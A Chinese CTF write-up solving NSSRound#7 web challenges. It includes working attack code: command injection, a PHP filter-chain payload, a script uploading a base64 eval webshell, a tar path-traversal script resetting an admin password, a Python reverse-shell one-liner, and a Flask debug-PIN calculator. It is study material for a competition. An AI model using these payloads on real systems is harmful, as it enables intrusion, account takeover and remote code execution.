ec_RCE

一个比较简单的题,但是需要看懂代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP

if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);

putenv('LANG=zh_TW.utf8');

$action = $_POST["action"];
$data = "'".$_POST["data"]."'";

$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>

一开始还以为是个比较复杂的java题,一血也没有了就直接跳了,下面的shell_exec后面是执行jar文件,action和data可控直接利用||拼接一条cat命令即可

image-20230226215332433

0o0

直接F12可以看到一个get参数,当然抓包也行

image-20230226215602606

然后传参发现下面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) { $O0O = file_get_contents($_GET['0o0'],1);
if (strpos($O0O, 'Round7') === 0) {
die('NO!!!!! Permission denied!');
} else if (strpos($O0O, 'Xy1on') === 0) {
echo $O0O;
die();
} else {
die("Nothing!!!");
}
}
if(isset($_GET['S0uRc3'])){ highlight_file(__FILE__); $O0O = file_get_contents('CTF',1);
echo $O0O;
}else{
echo "Nothing here";

}

这里在0的位置上需要匹配到Xy1on,利用工具制作filter链绕过,工具地址这里需要注意在Linux下运行并且Xy1on后面要有个空格,否则会出现乱码,在Windows下加空格就会报错,访问level2

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=level2

image-20230226215633307

进入Ns_SCtF.php拿到源码,这里其实一开始扫目录的话会扫到一个DS_Store,进去会发现能直接看到Ns_SCtF.php只是需要删掉空格,这样就省略了上面的步骤,直接来到最后一步绕过

image-20230226215717918

然后再看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!

这里的绕过直接看wp解释,挺详细的懒得写了
首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将<?php die(“Round7 do you like”);写入到文件中,所以就导致了传入的虽然是php文件,但是会终止。这里也是使用上面同一个tips,使用过滤器使用文件,如php://filter/write=convert.base64-decode/resource=aiwin.png.php,让写入内容进行base64解码,这里要使用URL编码,绕过/resource=aiwin.png.php作为文件名,然后在文件写入的内容中构造base64,使得<?php die(“Round7 do you like”);被不正常解码,造成死亡绕过
死亡绕过也是常见的,主要是url编码,不然就会造成resource=aiwin.png.php作为文件名,然后就可以自己在本地写一个上传文件的HTML来抓包得到文件类型,或者直接用写脚本来上传

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64

content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+"""

url = "http://43.142.108.3:28571/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7"

data = {"submit": "Submit"}
files = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%31%31%2e%70%6e%67%2e%70%68%70', content, 'image/jpeg')}
resp = requests.post(url, data=data, files=files)
print(resp.text)

蚁剑连接在home下找到flag

image-20230226215742674

参考:
NSSRound#7 TeamWeb学习_Aiwin-Hacker的博客-CSDN博客
NSSRound#7_清风–的博客-CSDN博客
NSSCTF - 文章 - NSSRound#7 Team 官方Write Up (ctfer.vip)

新的博客

第一个路由下可以得到一些信息

image-20230226220057048

解密中间的字符得到源码

image-20230226215824314

打开可以看到只要admin可以看到flag,这里其实就是利用目录穿越覆盖掉原来的userinfo.json,重置admin密码,可以参考一下CVE-2007-4559,可怜我当时还一直想着伪造session

1
2
3
4
5
6
7
8
9
10
11
import os, hashlib, json

username = 'Joker' # 你注册时用的用户名,尽量别有奇怪的符号
admin_passwd = '123456' # 之后要使用admin账户登陆时的密码

os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

运行之后会产生一个upload.tar.gz文件,然后用脚本中的用户名去注册一个账号登录后上传生成的upload.tar.gz文件,然后注销,用admin登录即可看到flag

image-20230226220113486

ShadowFlag

先放代码,之前没接触过这类题,自己对于Linux的很多东西也不懂,趁此可以学学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request  
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False


@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()


@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"


@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
app.run()

直接看shell路由,可以弹个shell,这里过滤了空格用%09可以绕过,然后去大佬推荐的弹shell大合集里面找个python无空格的就行,[弹shell大合集](PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings (github.com))
act=python%09-c%09'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
hackbar执行拿到shell,然后这里涉及到拿flag的第一个知识点

可以看到第一个flag是使用open打开的flag1 = open("/tmp/flag1.txt", "r"),但是rm删除了,但是没有用close()来关闭,这样就会造成,文件虽然已经删除但是进程仍然存在,此时我们就可以在/proc/[pid]/fd下找到这个文件

image-20230226220131766

这样就找到了第一段flag,然后找第二段flag,这里就涉及到高版本的flask pin值计算,因为第二个flag是用with打开with open("/tmp/flag2.txt", "r") as f:用with打开特点是使用完后默认关闭,所以就得从flask环境中去找,即算出pin值,打开console调试去找
计算pin值需要得到下面这几个数值

1.flask所登录的用户名
2.flask库下app.py的绝对路径
2.当前网络的mac地址的十进制数
2.docker_id和机器id

怎么找直接写在脚本里面了,docker那里取最上面的值就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# sha1算法,适用于高版本flask  
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd 用户名 whoami
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到 app.py的绝对路径
]

private_bits = [
# /sys/class/net/eth0/address
str(int("02:42:ac:02:00:f7".replace(":",""),16)),
#/proc/sys/kernel/random/boot_id + docker_id 读取用/proc/self/cgroup或者/proc/1/cpuset
"e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"0dcbb0f159a0a2183aa148b6259b663635ea0a7ec4822b7da342ed08761bf47c"
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

运行得到pin,然后在下面这里输入flag2得到

image-20230226220150459

参考:
NSSRound#7_清风–的博客-CSDN博客
Randark-JMT/NSSCTF-Round_v7-ShadowFlag: A reverse challenge in NSSCTF Round#7 (github.com)
这里还有一个法二,有兴趣可以看看
NSS Round7_web - nLesxw - 博客园 (cnblogs.com)